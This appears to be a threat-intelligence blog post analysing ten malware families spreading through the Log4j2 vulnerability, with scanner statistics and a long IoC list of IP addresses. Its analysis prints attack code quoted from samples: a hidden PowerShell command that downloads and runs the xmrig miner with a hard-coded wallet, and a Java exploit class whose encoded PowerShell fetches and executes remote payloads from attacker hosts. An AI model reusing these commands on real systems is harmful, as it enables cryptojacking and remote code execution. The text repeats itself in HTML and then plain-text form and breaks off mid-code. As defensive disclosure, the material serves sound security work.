<td>United States</td>
<td>123</td>
</tr>
<tr>
<td>United Kingdom</td>
<td>29</td>
</tr>
<tr>
<td>Canada</td>
<td>27</td>
</tr>
<tr>
<td>Singapore</td>
<td>23</td>
</tr>
<tr>
<td>India</td>
<td>22</td>
</tr>
<tr>
<td>Japan</td>
<td>15</td>
</tr>
<tr>
<td>Russia</td>
<td>12</td>
</tr>
</tbody>
</table>
<p>The top scan destination port is 8081 (Apache Flink) accounted for 31.61%, followed by port 8983 (Apache Solr) accounted for 28.1%, see the chart below<br>
<a href="__GHOST_URL__/content/images/2021/12/log4j2_ports.png"><img src="__GHOST_URL__/content/images/2021/12/log4j2_ports.png" class="kg-image"/></a></p>
<h2 id="asns">ASNs</h2>
<p>We have now captured more than 1050 attack source IPs, mainly from ALPHASTRIKE-RESEARCH, ASMK and DIGITALOCEAN-ASN, accounting for more than 50%, and the overall trend of scanning is as follows.<br>
<a href="__GHOST_URL__/content/images/2021/12/log4j2_asn.png"><img src="__GHOST_URL__/content/images/2021/12/log4j2_asn.png" class="kg-image"/></a></p>
<p>The scanned source IPs come from various countries around the world, with Germany accounting for the largest percentage, as shown below:<br>
<a href="__GHOST_URL__/content/images/2021/12/log4j2_country.png"><img src="__GHOST_URL__/content/images/2021/12/log4j2_country.png" class="kg-image"/></a></p>
<p>The attack source IP is mainly large network mapping vendor IP, as well as a large number of Tor proxy export node IP<br>
<a href="__GHOST_URL__/content/images/2021/12/log4j2_actor.png"><img src="__GHOST_URL__/content/images/2021/12/log4j2_actor.png" class="kg-image"/></a></p>
<p>Attack source IP source that came from cloud providers<br>
<a href="__GHOST_URL__/content/images/2021/12/log4j2_cloud_vendor.png"><img src="__GHOST_URL__/content/images/2021/12/log4j2_cloud_vendor.png" class="kg-image"/></a></p>
<h2 id="sampleandbotnetfamilyquickbreakdown">Sample and Botnet family quick breakdown</h2>
<p>At present, we have confirmed a total of 10 different families of malicious samples.</p>
<h3 id="1muhstikddosbackdoor">1， Muhstik, DDoS+backdoor</h3>
<p>Refer to our previous Threat Alert.<a href="__GHOST_URL__/threat-alert-log4j-vulnerability-has-been-adopted-by-two-linux-botnets/">[2]</a>。</p>
<h2 id="2mirai">2， Mirai</h2>
<p>Refer to our previous Threat Alert.<a href="__GHOST_URL__/threat-alert-log4j-vulnerability-has-been-adopted-by-two-linux-botnets/">[3]</a>。</p>
<h2 id="3ddosfamilyelknot">3， DDoS family Elknot</h2>
<p>Elknot, also known as BillGates, a very long live and active ddos botnet which targeted Linux systems and was later ported to the Windows platform<a href="https://thisissecurity.stormshield.com/2015/09/30/when-elf-billgates-met-windows/">[4]</a>。<br>
Now we see Elknot setting its foot on both platforms for this vulnerability, and sharing the same C2</p>
<p>The sample information of elknot.ELF</p>
<pre><code>URL=http://155.94.154.170/aaa
MD5=ded558217c327d8f5c3f8b36118380ab
URL=http://155.94.154.170/log4j
MD5=ded558217c327d8f5c3f8b36118380ab
</code></pre>
<p>The sample information of elknot.PE</p>
<pre><code>URL=http://154.82.110.5:1234/win.exe
MD5=36796319567f5a05571006b874903e87
</code></pre>
<p>C2 are <code>300gsyn.it:25009</code></p>
<h2 id="4miningfamilym8220">4， mining family m8220</h2>
<p>A relative unknown mining botnet targets both Linux and window systems, we spot a variant that adopts this vulnerability,</p>
<pre><code>url= http://205.185.113.59:1234/xmss
MD5=75bc0d4022b20fae1f5610109691184e
</code></pre>
<p>And the following is the extracted malicious URL information.</p>
<pre><code>http://agent.apacheorg.top:1234/xmss
http://205.185.113.59:1234/.rsyslogds
http://205.185.113.59:1234/.inis
http://205.185.113.59:1234/xms
</code></pre>
<h2 id="5sitesloader">5， SitesLoader</h2>
<p>SitesLoader gets active recently, and it jumped on the Log4j wagon. sample information:</p>
<pre><code>URL=http://185.250.148.157:8005/acc
MD5=933568969efe6b3f8c0621200f0eea5a
</code></pre>
<p>Eventually a stage 2 ELF file will be downloaded.</p>
<pre><code>URL=http://185.250.148.157:8005/index
MD5=720a3a92e72054dc8d58e229c22bb892
C2="https://sites.google.com/view/maintest01"
</code></pre>
<h2 id="6xmrigpe">6， xmrig.pe</h2>
<p>It actually shares the same exploit with the aforementioned muhstik, and the entry exploit corresponds to a java class.</p>
<pre><code>URL=http://31.220.58.29/Exploit.class
MD5=f6e51ea341570c6e9e4c97aee082822b
</code></pre>
<p>It can attack both Linux and Windows machines, and the part for Linux is our aforementioned muhstik variant, with the following entry sample information.</p>
<pre><code>URL=http://18.228.7.109/.log/log
MD5=1e051111c4cf327775dc3bab4df4bf85
</code></pre>
<p>The entry sample information for the Windows platform is as follows.</p>
<pre><code>URL=http://172.105.241.146:80/wp-content/themes/twentysixteen/s.cmd
MD5=bf6935865f63c32c0530a61da9b85d53
</code></pre>
<p>It points to a Powershell script, the core of which is to download an xmrig program and run.</p>
<pre><code>powershell -w hidden -c (new-object System.Net.WebClient).DownloadFile('http://54.210.230.186:80/wp-content/themes/twentyfourteen/xmrig.exe','xmrig.exe')
xmrig.exe -o pool.supportxmr.com:5555 -u 46QBumovWy4dLJ4R8wq8JwhHKWMhCaDyNDEzvxHFmAHn92EyKrttq6LfV6if5UYDAyCzh3egWXMhnfJJrEhWkMzqTPzGzsE -p log
</code></pre>
<p>You can see that the pool and wallet addresses are hard-coded in the command line.</p>
<h2 id="7xmrigelf">7， xmrig.ELF</h2>
<p>When it runs, a bash script and an xmrig.tar.gz will be downloaded, the former being responsible for unpacking the latter and starting xmrig. The sample message is as follows</p>
<pre><code>fseen=2021-12-11 23:45:56
URL=http://129.226.180.53/xmrig_setup/raw/master/xmrig.tar.gz
MD5=64808f03e967d15a7907c41fa0d34e89
fseen=2021-12-11 23:39:18
URL=http://129.226.180.53/xmrig_setup/raw/master/setup_c3pool_miner.sh
MD5=2f5769c38b6e5f4c59b7d831ed612395
</code></pre>
<h2 id="8attacktool1">8， attack tool 1</h2>
<pre><code>URL=http://47.243.78.246/12
MD5=5ac6ded41f9a61cd9d026e91af47b695
a variant of Linux/Riskware.Meterpreter.C ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, not stripped
</code></pre>
<h2 id="9attacktool2">9， attack tool 2</h2>
<pre><code>URL=http://170.178.196.41:1111/pglQLHfm
MD5=29851d65fe14699a793bf401cb84c019
a variant of Linux/Riskware.Meterpreter.C ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, not stripped
URL=http://170.178.196.41:35244/qIoPIauO
MD5=eb71a394bcf3e8f83198d51f3f6d7422
a variant of Linux/Riskware.Meterpreter.C ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, not stripped
URL=http://170.178.196.41:8080/UKTPAnRvns
MD5=84c2ccc2f2a4d4fe71249bad63252f32
Linux/Shellcode.CZ ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, corrupted section header size
</code></pre>
<h2 id="10unknownpefamily">10， Unknown PE family</h2>
<p>The basic information of the entry sample is as follows.</p>
<pre><code>URL=http://141.98.83.139:9883/exp.class
md5=5b30284b34dcc1912326812c7d2ea723
</code></pre>
<p>It is a java class with the following contents.</p>
<pre><code>public class exp
{
public exp()
{
}
static
{
try
{
String as[] = {
"cmd", "/c", "powershell", "-exec", "bypass", "-w", "hidden", "-e", "WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABhAGUAQwA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ADsAaQBmACgAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUAByAG8AeAB5AF0AOgA6AEcAZQB0AEQAZQBmAGEAdQBsAHQAUAByAG8AeAB5ACgAKQAuAGEAZABkAHIAZQBzAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApAHsAJABhAGUAQwAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcAZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAkAGEAZQBDAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA0ADEALgA5ADgALgA4ADMALgAxADMAOQA6ADEAOAAwADgAMAAvAG4ARwA2ADAAawAxAC8AUgBXAGoAeABGAHcAeABDAEIARQAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA0ADEALgA5ADgALgA4ADMALgAxADMAOQA6ADEAOAAwADgAMAAvAG4ARwA2ADAAawAxACcAKQApADsA"
};
Runtime.getRuntime().exec(as).waitFor();
}
catch(Exception exception)
{
exception.printStackTrace();
}
}
}
</code></pre>
<p>We can see that it will call powershell to decode a base64 string, in fact, this string needs to be decoded three times to get the final payload, corresponding to a piece of powershell script.</p>
<pre><code>[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$aeC=new-object net.webclient;if([System.Net.WebProxy]::GetDefaultProxy().address -ne $null){$aeC.proxy=[Net.WebRequest]::GetSystemWebProxy();$aeC.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;};IEX ((new-object Net.WebClient).DownloadString('http://141.98.83.139:18080/nG60k1/RWjxFwxCBE'));IEX ((new-object Net.WebClient).DownloadString('http://141.98.83.139:18080/nG60k1'));
</code></pre>
<p>It contains the following 2 URLs.</p>
<pre><code>http://141.98.83.139:18080/nG60k1/RWjxFwxCBE
http://141.98.83.139:18080/nG60k1
</code></pre>
<p>Unfortunately, both URLs canot be downloaded now, so no family information can be provided here.</p>
<h3 id="contactus">Contact us</h3>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> or email us to netlab at 360 dot cn.</p>
<h3 id="ioc">IoC</h3>
<p>Scanner IP:</p>
<pre><code>1.116.59.211
1.179.247.182
101.204.24.28
103.103.0.141
103.103.0.142
103.107.198.109
103.232.136.12
103.244.80.194
103.90.239.209
104.244.72.115
104.244.72.136
104.244.73.126
104.244.74.121
104.244.74.57
104.244.76.13
104.244.76.170
104.244.79.234
104.244.79.6
104.248.144.120
107.172.214.23
107.189.1.160
107.189.1.178
107.189.7.88
109.201.133.100
109.70.100.19
109.70.100.34
109.73.65.32
110.42.200.96
111.28.189.51
111.59.85.209
112.215.172.64
112.27.199.180
112.74.52.90
113.141.64.14
113.98.224.68
114.112.161.155
114.32.82.82
115.151.228.235
115.151.228.4
115.151.228.83
118.27.36.56
119.84.170.84
120.195.30.152
120.211.140.116
121.4.56.143
122.117.91.144
122.161.53.44
124.224.87.29
128.199.15.215
128.199.222.221
128.199.48.147
128.31.0.13
131.100.148.7
133.18.201.195
134.122.33.6
134.209.24.42
134.209.82.14
137.184.102.82
137.184.104.73
137.184.105.192
137.184.137.242
137.184.138.79
137.184.28.58
137.184.96.216
137.184.98.176
137.184.99.8
138.197.106.234
138.197.108.154
138.197.167.229
138.197.216.230
138.197.9.239
138.199.21.199
138.68.155.222
139.28.218.134
139.59.101.242
139.59.103.254
139.59.108.31
139.59.163.74
139.59.188.119
139.59.224.7
139.59.8.39
139.59.96.42
139.59.99.80
14.177.141.126
140.246.171.141
141.98.83.139
142.93.151.166
142.93.157.150
142.93.34.250
143.110.221.204
143.110.221.219
143.198.180.150
143.198.183.66
143.198.45.117
143.244.184.81
144.217.86.109
144.48.37.78
145.220.24.19
146.56.131.161
146.56.148.181
146.70.38.48
147.182.131.229
147.182.154.100
147.182.167.165
147.182.179.141
147.182.187.229
147.182.195.250
147.182.215.36
147.182.216.21
147.182.219.9
147.182.242.144
147.182.242.241
150.158.189.96
151.80.148.159
154.65.28.250
154.94.7.88
156.146.57.41
157.230.32.67
157.245.105.213
157.245.107.6
157.245.108.125
157.245.108.40
157.245.109.75
157.245.129.50
157.245.96.165
159.203.187.141
159.203.45.181
159.203.58.73
159.223.42.182
159.223.61.102
159.223.75.133
159.223.9.17
159.48.55.216
159.65.146.60
159.65.155.208
159.65.58.66
159.65.59.77
159.65.60.100
159.89.115.238
159.89.122.19
159.89.133.216
159.89.150.150
159.89.154.102
159.89.154.185
159.89.154.64
159.89.48.173
159.89.85.91
159.89.94.219
160.238.38.196
161.35.119.60
161.35.155.230
161.35.156.13
162.247.74.202
162.247.74.206
162.253.71.51
162.255.202.246
164.52.53.163
164.90.196.7
164.90.199.206
164.90.199.212
164.90.199.216
164.90.200.6
164.92.254.33
165.22.210.174
165.22.213.246
165.227.32.109
165.232.80.166
166.70.207.2
167.172.65.15
167.172.69.97
167.172.71.96
167.172.85.73
167.172.94.250
167.71.1.144
167.71.13.196
167.71.218.228
167.71.4.81
167.86.70.252
167.99.164.160
167.99.172.111
167.99.172.213
167.99.172.99
167.99.186.227
167.99.204.151
167.99.221.217
167.99.36.245
167.99.44.32
170.210.45.163
171.221.235.43
171.25.193.20
171.25.193.25
171.25.193.77
171.25.193.78
172.83.40.103
172.83.40.124
172.98.66.221
174.138.6.128
175.6.210.66
176.10.99.200
177.131.174.12
177.185.117.129
178.128.226.212
178.128.232.114
178.159.3.167
178.17.170.135
178.17.170.23
178.17.171.102
178.17.174.14
178.176.202.121
178.176.203.190
178.62.23.146
178.62.61.47
179.43.187.138
18.27.197.252
180.136.188.219
180.149.125.139
182.99.234.208
182.99.246.166
182.99.246.183
182.99.246.190
182.99.246.192
182.99.246.199
182.99.247.181
182.99.247.188
182.99.247.253
182.99.247.67
183.13.106.232
183.134.110.75
185.100.86.128
185.100.87.174
185.100.87.202
185.100.87.41
185.107.47.171
185.107.47.215
185.107.70.56
185.129.61.5
185.14.97.147
185.165.169.18
185.170.114.25
185.175.25.50
185.202.220.27
185.202.220.29
185.207.249.87
185.220.100.240
185.220.100.241
185.220.100.242
185.220.100.243
185.220.100.244
185.220.100.245
185.220.100.246
185.220.100.247
185.220.100.248
185.220.100.249
185.220.100.250
185.220.100.251
185.220.100.252
185.220.100.253
185.220.100.254
185.220.100.255
185.220.101.129
185.220.101.131
185.220.101.132
185.220.101.133
185.220.101.134
185.220.101.135
185.220.101.136
185.220.101.138
185.220.101.139
185.220.101.140
185.220.101.141
185.220.101.142
185.220.101.143
185.220.101.144
185.220.101.145
185.220.101.146
185.220.101.147
185.220.101.148
185.220.101.149
185.220.101.150
185.220.101.151
185.220.101.152
185.220.101.153
185.220.101.154
185.220.101.155
185.220.101.156
185.220.101.157
185.220.101.158
185.220.101.159
185.220.101.160
185.220.101.161
185.220.101.162
185.220.101.163
185.220.101.164
185.220.101.165
185.220.101.166
185.220.101.167
185.220.101.168
185.220.101.169
185.220.101.170
185.220.101.171
185.220.101.172
185.220.101.173
185.220.101.174
185.220.101.175
185.220.101.176
185.220.101.177
185.220.101.178
185.220.101.179
185.220.101.180
185.220.101.181
185.220.101.182
185.220.101.183
185.220.101.184
185.220.101.185
185.220.101.186
185.220.101.187
185.220.101.188
185.220.101.189
185.220.101.190
185.220.101.191
185.220.101.32
185.220.101.33
185.220.101.34
185.220.101.35
185.220.101.36
185.220.101.37
185.220.101.38
185.220.101.39
185.220.101.40
185.220.101.41
185.220.101.42
185.220.101.43
185.220.101.44
185.220.101.45
185.220.101.46
185.220.101.47
185.220.101.48
185.220.101.49
185.220.101.50
185.220.101.51
185.220.101.52
185.220.101.53
185.220.101.54
185.220.101.55
185.220.101.56
185.220.101.57
185.220.101.58
185.220.101.59
185.220.101.60
185.220.101.61
185.220.101.62
185.220.101.63
185.220.101.9
185.220.102.243
185.220.102.246
185.220.102.248
185.220.102.6
185.220.103.120
185.233.100.23
185.236.200.116
185.236.200.118
185.245.86.85
185.245.87.246
185.255.79.72
185.38.175.130
185.38.175.131
185.38.175.132
185.4.132.183
185.51.76.187
185.56.80.65
185.65.205.10
185.83.214.69
188.166.102.47
188.166.105.150
188.166.170.135
188.166.223.38
188.166.225.104
188.166.45.93
188.166.48.55
188.166.7.245
188.166.86.206
188.166.92.228
188.241.156.207
191.101.132.152
191.232.38.25
192.145.118.111
192.145.118.127
192.145.118.177
192.150.9.201
192.40.57.54
193.110.95.34
193.122.108.228
193.218.118.183
193.218.118.231
193.29.60.202
193.31.24.154
194.110.84.182
194.110.84.243
194.48.199.78
195.144.21.219
195.201.175.217
195.251.41.139
195.54.160.149
197.246.171.83
198.54.128.94
198.98.51.189
198.98.57.207
198.98.62.150
199.195.248.29
199.195.250.77
199.195.252.18
199.249.230.110
199.249.230.163
20.205.104.227
20.71.156.146
20.73.161.16
204.8.156.142
205.185.117.149
206.189.20.141
207.246.101.221
209.127.17.234
209.127.17.242
209.141.34.232
209.141.41.103
209.141.46.203
209.141.54.195
209.141.58.146
209.141.59.180
209.58.146.134
209.97.133.112
211.218.126.140
212.102.40.36
213.164.204.146
217.112.83.246
217.138.200.150
217.138.208.92
217.138.208.94
217.146.83.136
217.79.189.13
218.29.217.234
218.89.222.71
219.100.36.177
219.159.77.109
221.199.187.100
221.226.159.22
221.228.87.37
23.108.92.140
23.128.248.13
23.129.64.130
23.129.64.131
23.129.64.136
23.129.64.137
23.129.64.138
23.129.64.140
23.129.64.141
23.129.64.142
23.129.64.143
23.129.64.144
23.129.64.146
23.82.194.113
23.82.194.114
23.82.194.166
31.171.154.132
31.6.19.41
34.247.50.189
35.193.211.95
35.232.163.113
36.4.92.53
37.120.204.142
37.123.163.58
37.187.122.82
37.187.96.183
37.19.212.103
37.19.212.88
37.19.213.10
37.19.213.148
37.19.213.149
37.19.213.168
37.19.213.170
37.19.213.198
37.19.213.199
37.19.213.200
37.221.66.128
39.102.236.51
41.203.140.114
42.192.69.45
45.12.134.108
45.129.56.200
45.133.194.118
45.137.21.9
45.140.168.37
45.153.160.131
45.153.160.139
45.153.160.2
45.154.255.147
45.155.205.233
45.33.120.240
45.76.99.222
46.101.223.115
46.105.95.220
46.166.139.111
46.194.138.182
46.58.195.62
49.233.62.251
49.234.81.169
49.7.224.217
49.74.65.69
5.157.38.50
5.254.101.167
51.105.55.17
51.15.43.205
51.77.52.216
52.140.215.233
54.146.233.218
58.241.61.242
60.31.180.149
61.175.202.154
61.178.32.114
61.19.25.207
62.102.148.68
62.102.148.69
64.113.32.29
66.220.242.222
67.205.170.85
67.207.93.79
68.183.192.239
68.183.198.247
68.183.198.36
68.183.2.123
68.183.207.73
68.183.33.144
68.183.35.171
68.183.36.244
68.183.37.10
68.183.41.150
68.183.44.143
68.183.44.164
78.31.71.247
78.31.71.248
80.57.9.110
80.67.172.162
81.30.157.43
82.221.131.71
85.93.218.204
86.106.103.29
86.109.208.194
89.163.249.192
89.249.63.3
91.207.173.123
91.207.174.157
91.221.57.179
91.245.81.65
91.250.242.12
92.38.178.27
124.224.87.11
45.83.67.190
121.36.213.142
180.149.231.197
112.74.34.48
128.14.102.187
113.68.61.30
185.220.102.8
180.140.163.156
23.129.64.149
218.28.128.14
54.144.8.103
45.83.66.86
45.83.67.33
45.83.66.36
139.59.4.192
45.83.67.183
103.149.248.27
54.254.58.27
111.205.62.212
45.83.65.148
112.103.102.184
37.120.189.247
147.182.188.183
23.129.64.135
45.83.66.100
45.83.67.58
16.162.192.45
94.230.208.147
182.99.246.138
165.227.37.189
185.220.102.247
223.104.67.7
51.15.244.188
122.161.50.23
111.127.128.136
185.213.155.168
118.112.74.135
185.135.81.158
199.249.230.84
23.129.64.145
13.213.127.204
103.112.31.26
45.83.66.228
45.83.65.93
174.138.9.117
194.87.236.154
167.99.221.249
5.254.43.59
194.110.84.93
51.15.76.60
167.71.14.192
104.244.72.129
211.154.194.21
212.102.50.103
167.99.164.183
45.76.176.24
157.122.61.12
45.83.65.61
211.138.191.69
188.166.26.105
107.189.11.228
172.106.16.74
117.89.128.117
109.70.100.25
101.71.37.47
91.243.81.71
217.68.181.100
195.19.192.26
112.10.117.77
45.83.67.0
5.254.101.169
45.83.64.153
58.247.209.203
45.83.64.235
185.113.128.30
128.199.24.9
137.184.111.180
106.92.114.249
212.193.57.225
112.74.185.158
101.35.199.152
147.182.213.12
45.83.67.64
185.220.101.130
185.4.132.135
114.24.19.243
8.209.212.37
167.99.164.201
23.129.64.134
49.36.231.105
221.222.155.240
113.17.41.134
47.102.199.233
222.128.62.127
38.143.9.76
164.90.159.39
109.237.96.124
121.31.247.58
45.83.64.43
45.83.66.183
122.225.220.134
134.209.153.239
45.83.64.148
172.105.59.246
206.189.29.232
116.206.103.246
116.206.231.53
103.47.48.65
165.232.84.228
172.105.194.173
185.10.68.168
167.99.172.58
58.100.164.147
167.99.188.167
143.198.32.72
52.175.18.172
45.64.75.134
121.229.219.55
18.177.59.255
178.62.222.131
167.71.67.189
45.83.66.65
113.207.68.47
23.234.200.135
134.122.34.28
167.99.216.68
137.184.98.160
45.83.67.22
222.211.205.179
185.193.125.249
45.83.67.77
103.130.166.234
81.17.18.59
104.244.76.44
213.173.34.93
110.191.179.149
23.129.64.133
45.83.64.108
157.245.111.173
45.83.66.130
45.83.65.141
45.83.64.129
62.76.41.46
120.24.23.84
45.83.66.29
107.189.31.195
45.61.184.239
188.166.122.43
165.22.222.120
223.89.64.12
107.189.14.27
45.83.65.82
83.97.20.151
42.159.91.12
118.112.74.218
209.141.45.189
64.188.16.142
172.105.57.210
37.19.213.150
176.10.104.240
185.220.103.116
205.185.125.45
138.68.167.19
101.71.38.231
114.246.35.153
103.194.184.98
45.83.66.134
45.83.66.175
101.89.19.197
152.70.110.78
138.197.72.76
114.254.20.186
203.175.13.14
139.59.97.205
195.123.247.209
117.139.38.130
103.13.220.57
122.161.48.150
45.153.160.133
185.14.47.20
192.144.236.164
45.153.160.140
159.65.43.94
95.141.35.15
116.246.0.93
137.184.109.130
23.154.177.6
45.83.67.234
103.145.22.103
183.160.4.88
77.199.38.33
185.220.101.137
121.24.8.114
115.151.228.18
49.93.83.226
45.83.67.48
66.112.213.87
45.76.191.147
23.129.64.132
138.197.193.220
84.53.225.118
15.165.232.131
185.220.101.128
125.33.172.90
45.83.67.134
101.206.168.120
120.239.67.147
157.245.102.218
45.83.67.75
49.118.75.38
172.105.97.149
117.36.0.131
45.83.67.180
211.148.73.182
36.227.164.189
45.83.65.40
45.83.64.45
167.172.69.175
116.89.189.30
185.220.101.13
23.105.194.3
155.94.151.218
182.99.247.122
54.199.27.97
45.83.65.151
182.118.237.42
36.155.14.163
216.24.191.27
143.110.229.254
203.218.252.81
180.102.206.209
103.149.162.116
101.93.86.68
18.204.199.0
194.195.112.76
47.102.205.237
94.230.208.148
115.60.103.185
45.83.65.76
45.83.64.223
45.83.64.164
198.98.59.65
192.42.116.16
89.238.178.213
185.243.41.202
45.83.65.94
167.99.219.41
13.231.10.223
45.83.67.38
167.99.88.151
199.249.230.119
172.105.194.253
139.59.182.104
123.122.133.12
119.160.234.68
1.209.47.241
115.151.228.146
182.118.237.234
120.228.88.232
178.62.32.211
45.83.67.203
171.218.53.30
185.232.23.46
198.98.60.19
</code></pre>
<!--kg-card-end: markdown--> | Background
On December 11, 2021, at 8:00 pm, we published a blog disclosing Mirai and Muhstik botnet samples propagating through Log4j2 RCE vulnerability[1]。
Over the past 2 days, we have captured samples from other families, and now the list of families has exceeded 10. It looks like the race between the offense and defense has started, and the offense side is wasting no time to jump into the game. Right now there is more data in our queue to be looked at but we think it might help that we can quickly share what we have confirmed to the security community. More updates are to be expected from us, so stay tuned to our blog site or our twitter handle.
Where the scanners|attackers coming from
The following diagram shows the scanners|attackers IP addresses’ geographical distribution that we captured from our honeypot system
Country/region
Count
Germany
271
The Netherlands
143
China
134
United States
123
United Kingdom
29
Canada
27
Singapore
23
India
22
Japan
15
Russia
12
The top scan destination port is 8081 (Apache Flink) accounted for 31.61%, followed by port 8983 (Apache Solr) accounted for 28.1%, see the chart below
ASNs
We have now captured more than 1050 attack source IPs, mainly from ALPHASTRIKE-RESEARCH, ASMK and DIGITALOCEAN-ASN, accounting for more than 50%, and the overall trend of scanning is as follows.
The scanned source IPs come from various countries around the world, with Germany accounting for the largest percentage, as shown below:
The attack source IP is mainly large network mapping vendor IP, as well as a large number of Tor proxy export node IP
Attack source IP source that came from cloud providers
Sample and Botnet family quick breakdown
At present, we have confirmed a total of 10 different families of malicious samples.
1， Muhstik, DDoS+backdoor
Refer to our previous Threat Alert.[2]。
2， Mirai
Refer to our previous Threat Alert.[3]。
3， DDoS family Elknot
Elknot, also known as BillGates, a very long live and active ddos botnet which targeted Linux systems and was later ported to the Windows platform[4]。
Now we see Elknot setting its foot on both platforms for this vulnerability, and sharing the same C2
The sample information of elknot.ELF
URL=http://155.94.154.170/aaa
MD5=ded558217c327d8f5c3f8b36118380ab
URL=http://155.94.154.170/log4j
MD5=ded558217c327d8f5c3f8b36118380ab
The sample information of elknot.PE
URL=http://154.82.110.5:1234/win.exe
MD5=36796319567f5a05571006b874903e87
C2 are 300gsyn.it:25009
4， mining family m8220
A relative unknown mining botnet targets both Linux and window systems, we spot a variant that adopts this vulnerability,
url= http://205.185.113.59:1234/xmss
MD5=75bc0d4022b20fae1f5610109691184e
And the following is the extracted malicious URL information.
http://agent.apacheorg.top:1234/xmss
http://205.185.113.59:1234/.rsyslogds
http://205.185.113.59:1234/.inis
http://205.185.113.59:1234/xms
5， SitesLoader
SitesLoader gets active recently, and it jumped on the Log4j wagon. sample information:
URL=http://185.250.148.157:8005/acc
MD5=933568969efe6b3f8c0621200f0eea5a
Eventually a stage 2 ELF file will be downloaded.
URL=http://185.250.148.157:8005/index
MD5=720a3a92e72054dc8d58e229c22bb892
C2="https://sites.google.com/view/maintest01"
6， xmrig.pe
It actually shares the same exploit with the aforementioned muhstik, and the entry exploit corresponds to a java class.
URL=http://31.220.58.29/Exploit.class
MD5=f6e51ea341570c6e9e4c97aee082822b
It can attack both Linux and Windows machines, and the part for Linux is our aforementioned muhstik variant, with the following entry sample information.
URL=http://18.228.7.109/.log/log
MD5=1e051111c4cf327775dc3bab4df4bf85
The entry sample information for the Windows platform is as follows.
URL=http://172.105.241.146:80/wp-content/themes/twentysixteen/s.cmd
MD5=bf6935865f63c32c0530a61da9b85d53
It points to a Powershell script, the core of which is to download an xmrig program and run.
powershell -w hidden -c (new-object System.Net.WebClient).DownloadFile('http://54.210.230.186:80/wp-content/themes/twentyfourteen/xmrig.exe','xmrig.exe')
xmrig.exe -o pool.supportxmr.com:5555 -u 46QBumovWy4dLJ4R8wq8JwhHKWMhCaDyNDEzvxHFmAHn92EyKrttq6LfV6if5UYDAyCzh3egWXMhnfJJrEhWkMzqTPzGzsE -p log
You can see that the pool and wallet addresses are hard-coded in the command line.
7， xmrig.ELF
When it runs, a bash script and an xmrig.tar.gz will be downloaded, the former being responsible for unpacking the latter and starting xmrig. The sample message is as follows
fseen=2021-12-11 23:45:56
URL=http://129.226.180.53/xmrig_setup/raw/master/xmrig.tar.gz
MD5=64808f03e967d15a7907c41fa0d34e89
fseen=2021-12-11 23:39:18
URL=http://129.226.180.53/xmrig_setup/raw/master/setup_c3pool_miner.sh
MD5=2f5769c38b6e5f4c59b7d831ed612395
8， attack tool 1
URL=http://47.243.78.246/12
MD5=5ac6ded41f9a61cd9d026e91af47b695
a variant of Linux/Riskware.Meterpreter.C ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, not stripped
9， attack tool 2
URL=http://170.178.196.41:1111/pglQLHfm
MD5=29851d65fe14699a793bf401cb84c019
a variant of Linux/Riskware.Meterpreter.C ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, not stripped
URL=http://170.178.196.41:35244/qIoPIauO
MD5=eb71a394bcf3e8f83198d51f3f6d7422
a variant of Linux/Riskware.Meterpreter.C ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, not stripped
URL=http://170.178.196.41:8080/UKTPAnRvns
MD5=84c2ccc2f2a4d4fe71249bad63252f32
Linux/Shellcode.CZ ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, corrupted section header size
10， Unknown PE family
The basic information of the entry sample is as follows.
URL=http://141.98.83.139:9883/exp.class
md5=5b30284b34dcc1912326812c7d2ea723
It is a java class with the following contents.
public class exp
{
public exp()
{
}
static
{
try
{
String as[] = {
